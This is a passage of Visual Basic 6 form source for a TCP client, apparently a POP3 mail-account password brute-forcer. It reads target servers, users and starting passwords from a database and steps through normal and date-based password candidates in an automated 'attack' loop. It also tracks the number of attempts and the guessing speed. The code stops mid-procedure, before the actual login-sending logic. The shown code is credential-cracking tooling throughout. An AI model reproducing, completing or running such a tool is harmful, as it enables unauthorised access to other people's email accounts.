frmtcp_client.frm

监控类的开发

            ColumnWidth     =   945.071
         EndProperty
         BeginProperty Column02 
            ColumnWidth     =   1440
         EndProperty
         BeginProperty Column03 
            ColumnWidth     =   629.858
         EndProperty
         BeginProperty Column04 
            ColumnWidth     =   780.095
         EndProperty
         BeginProperty Column05 
            ColumnWidth     =   1725.165
         EndProperty
      EndProperty
   End
   Begin VB.TextBox txtResult 
      ForeColor       =   &H00FF0000&
      Height          =   3615
      Index           =   0
      Left            =   120
      MultiLine       =   -1  'True
      OLEDropMode     =   2  'Automatic
      ScrollBars      =   3  'Both
      TabIndex        =   10
      Top             =   1560
      Width           =   6375
   End
   Begin VB.Label Label2 
      Caption         =   "Char:"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   13.5
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   120
      TabIndex        =   11
      Top             =   720
      Width           =   975
   End
   Begin VB.Label Label1 
      Caption         =   "Hex:"
      BeginProperty Font 
         Name            =   "MS Sans Serif"
         Size            =   13.5
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      Height          =   375
      Left            =   120
      TabIndex        =   0
      Top             =   240
      Width           =   735
   End
   Begin VB.Menu mBase64 
      Caption         =   "Base64"
      Begin VB.Menu mEncode 
         Caption         =   "Encode"
      End
      Begin VB.Menu mDecode 
         Caption         =   "Decode"
      End
   End
   Begin VB.Menu mHex_Char 
      Caption         =   "Hex-Char"
      Begin VB.Menu mChar 
         Caption         =   "Char"
      End
      Begin VB.Menu mHex 
         Caption         =   "Hex"
      End
   End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit

Private bNoDatabase As Boolean
Private nCurrentState As Integer
Private strUser As String
Private strFeature As String
Private strPass As String
Private bEnter As Boolean
Private bGetMail As Boolean
Private strMail As String

Public Sub LoadDataFromDisk()
  Dim strFile As String
  Dim strTmp As String
  On Error Resume Next
  
  strFile = App.Path + "\Setup.ini"
  If CheckFile(strFile) Then
    strTmp = ReadTxtFile(strFile)
    
    strServer = GetNoString(strTmp, "/", 0)
    nPort = Val(GetNoString(strTmp, "/", 1))
    nDisplayMode = Val(GetNoString(strTmp, "/", 2))
    nPwdMode = Val(GetNoString(strTmp, "/", 3))
    strSubCharSet = GetNoString(strTmp, "/", 4)
    nTmServer = Val(GetNoString(strTmp, "/", 5))
    strSubFeature = GetNoString(strTmp, "/", 6)
    nFeatureLoc = Val(GetNoString(strTmp, "/", 7))
    
    TimerServer.Interval = nTmServer
    
    nUserDefine = 0
    If Len(strSubCharSet) > 0 Then nUserDefine = 1
    If Len(strSubFeature) > 0 Then nUserDefine = 2
    If Len(strSubCharSet) > 0 And Len(strSubFeature) > 0 Then nUserDefine = 3
  End If
End Sub

Private Sub NextPassword()
  Select Case nPwdMode
    Case MODE_NORMAL
      strPass = GenNextPwd(strPass)
    Case MODE_DATE
      strPass = GenNextDate(strPass)
    Case MODE_NODATE
      strPass = GenNextPwd(strPass)
      Do While CheckShortDate(strPass)
        strPass = GenNextPwd(strPass)
        DoEvents
      Loop
    Case MODE_NO_LIMIT
        Exit Sub
  End Select
End Sub

Private Function GetLastPwd()
  If strFeature <> "" And nFeatureLoc = 0 Then nFeatureLoc = 1
  GetLastPwd = InsertString(strPass, strFeature, nFeatureLoc)
End Function

Private Sub setStatusBar()
  Dim strTmp As String
  On Error Resume Next
  
  With tcpClient
    strTmp = GetWinSockState(tcpClient)
    StatusBar1.Panels(1).Text = .LocalHostName
    StatusBar1.Panels(2).Text = .LocalPort
    StatusBar1.Panels(3).Text = .LocalIP
    
    StatusBar1.Panels(4).Text = .RemotePort
    StatusBar1.Panels(5).Text = .RemoteHostIP
    StatusBar1.Panels(6).Text = strTmp
  End With
End Sub

Private Sub chkAddCRLF_Click()
  If chkAddCRLF.Value = 0 Then
    bPlusCRLF = False
  Else
    bPlusCRLF = True
  End If
End Sub

Private Sub cmdClear_Click()
  Dim I As Integer
  On Error Resume Next
    
  strMail = ""
  If Len(Trim(txtHex.SelText)) > 0 Then
    txtHex.Text = ""
    Exit Sub
  End If
    
  If Len(Trim(txtChars.SelText)) > 0 Then
    txtChars.Text = ""
    Exit Sub
  End If
    
  If txtResult(0).Visible = True Then
    I = 0
  Else
    I = 1
  End If
    
  If Len(Trim(txtResult(I).SelText)) > 0 Then
    txtResult(I).Text = ""
    ResultString = ""
    Exit Sub
  End If
    
  txtHex.Text = ""
  txtChars.Text = ""
  txtResult(I).Text = ""
  ResultString = ""
End Sub

Public Sub cmdClose_Click()
    tcpClient.Close
    If bAutoAttack = False Then lAttackTimes = 0
    cmdSend.Enabled = False
End Sub

Private Sub cmdConnect_Click()
    Dim strTmp As String
    On Error Resume Next
    
    With tcpClient
        .Close
        .Protocol = sckTCPProtocol
        
        'change http host and port automatically
        strTmp = GetHttpHost(txtChars.Text)
        If ChkHttp(txtChars.Text) And strTmp <> strServer Then
            If InStr(1, strTmp, ":") <> 0 Then
                strServer = GetNoString(strTmp, ":", 0)
                nPort = Val(GetNoString(strTmp + ":", ":", 1))
            Else
                strServer = strTmp
                nPort = HTTP_PORT
            End If
        End If
        
        .RemoteHost = strServer
        .RemotePort = nPort
        .Connect
    End With
    
    strMail = ""
End Sub

Private Sub cmdList_Click()
  txtChars.Text = "List"
  cmdSend_Click
End Sub

Private Sub cmdRetr_Click()
    txtChars.Text = "RETR "
End Sub

Private Sub cmdSetup_Click()
  frmServer.Show vbModal
End Sub

Private Sub cmdStart_Click()
    On Error Resume Next

    lAttackTimes = 0
    nCurrentState = UNCONNECT_STATE
  
    With AdodcEmail.Recordset
        If .RecordCount < 1 Then
            MsgBox "There is no data in database!", vbExclamation + vbOKOnly
            Exit Sub
        End If
    
        If IsNull(![POP3]) Then
            MsgBox "POP3 is NULL!", vbExclamation + vbOKOnly
            Exit Sub
        End If
        strServer = Trim(![POP3])
        nPort = POP3_PORT
        
        If Len(Trim(![User])) > 0 Then
            strUser = Trim(![User])
        Else
            MsgBox "The user is empty!", vbExclamation + vbOKOnly
            Exit Sub
        End If
        
        strFeature = IIf(IsNull(![Feature]), "", Trim(![Feature]))
        If strFeature = "" Then nFeatureLoc = 0
        
        If IsNull(![Password]) Then
            MsgBox "The password is empty!", vbExclamation + vbOKOnly
            Exit Sub
        Else
            strPass = Trim(![Password])
        End If
        
        Select Case nPwdMode
            Case MODE_NORMAL, MODE_NODATE
                strPass = GenPrePwd(strPass)
            Case MODE_DATE
                strPass = GenPreviousDate(strPass)
        End Select
        
        strStartTick = Trim(Str(GetTickCount()))
        strStartTime = Format(Time, "H:MM:SS")
        
        bAutoAttack = True
        dtGrid.Enabled = False
      
        TimerServer.Enabled = False
        If nTmServer = 0 Then
            If ![ID] = 1 Then
                TimerServer.Interval = 300
            Else
                TimerServer.Interval = (![ID] - 1) * 500 + 777
            End If
            nTmServer = TimerServer.Interval
        End If
          
        Call cmdConnect_Click
    End With
End Sub

Private Sub cmdStop_Click()
  Dim lSeconds As Long
  Dim nID As Integer
  On Error Resume Next
  
  TimerServer.Enabled = False
  Call cmdClose_Click
  
  If bAutoAttack = True Then
    strStopTick = Trim(Str(GetTickCount()))
    strStopTime = Format(Time, "H:MM:SS")
    bAutoAttack = False
    dtGrid.Enabled = True
    
    With AdodcEmail.Recordset
      ![Password] = strPass
      nID = ![ID]
      .Update
      .Requery
      Do While ![ID] < nID
        .MoveNext
      Loop
    End With
    
    lSeconds = Round((Val(strStopTick) - Val(strStartTick)) / 1000)
    MsgBox "Time taken = " + Trim(Str(lSeconds)) + "s, Times = " + Trim(Str(lAttackTimes)) + _
            ", Speed = " + Format(lSeconds / lAttackTimes, "0.00") + "s/p", vbInformation + vbOKOnly, _
            "Stop " + "(from " + strStartTime + " to " + strStopTime + ")!"
    
    lAttackTimes = 0
  End If
End Sub

Private Sub dtGrid_HeadClick(ByVal ColIndex As Integer)
  Dim nTmp As Integer
  Dim I As Integer
  On Error Resume Next
  
  If ColIndex <> 5 Then
    With AdodcEmail
      .RecordSource = "select * from Email order by " + _
        .Recordset.Fields(ColIndex).Name
      .CommandType = adCmdUnknown
      .Refresh
      With .Recordset
        If .RecordCount < 1 Then .AddNew
      End With
    End With
  End If
  
  With AdodcEmail.Recordset
    nTmp = .RecordCount
    If nTmp < 1 Then Exit Sub
    .MoveFirst
    
    If ColIndex = 0 And ![ID] > 1 Then
      I = 0
      Do While Not .EOF
        I = I + 1
        If ![ID] > I Then
          ![ID] = I
          .Update
        End If
        .MoveNext
      Loop
      .Requery
      .MoveFirst
      Exit Sub
    End If
    
    If ColIndex = 5 And ![ID] = 1 Then
      Do While Not .EOF
        ![ID] = (nTmp + ![ID]) * 3
        .Update
        .MoveNext
      Loop
      .Requery
      .MoveFirst
      Exit Sub
    End If
  End With
End Sub

Private Sub Form_Activate()
  If Len(strServer) < 3 Or nPort < 1 Then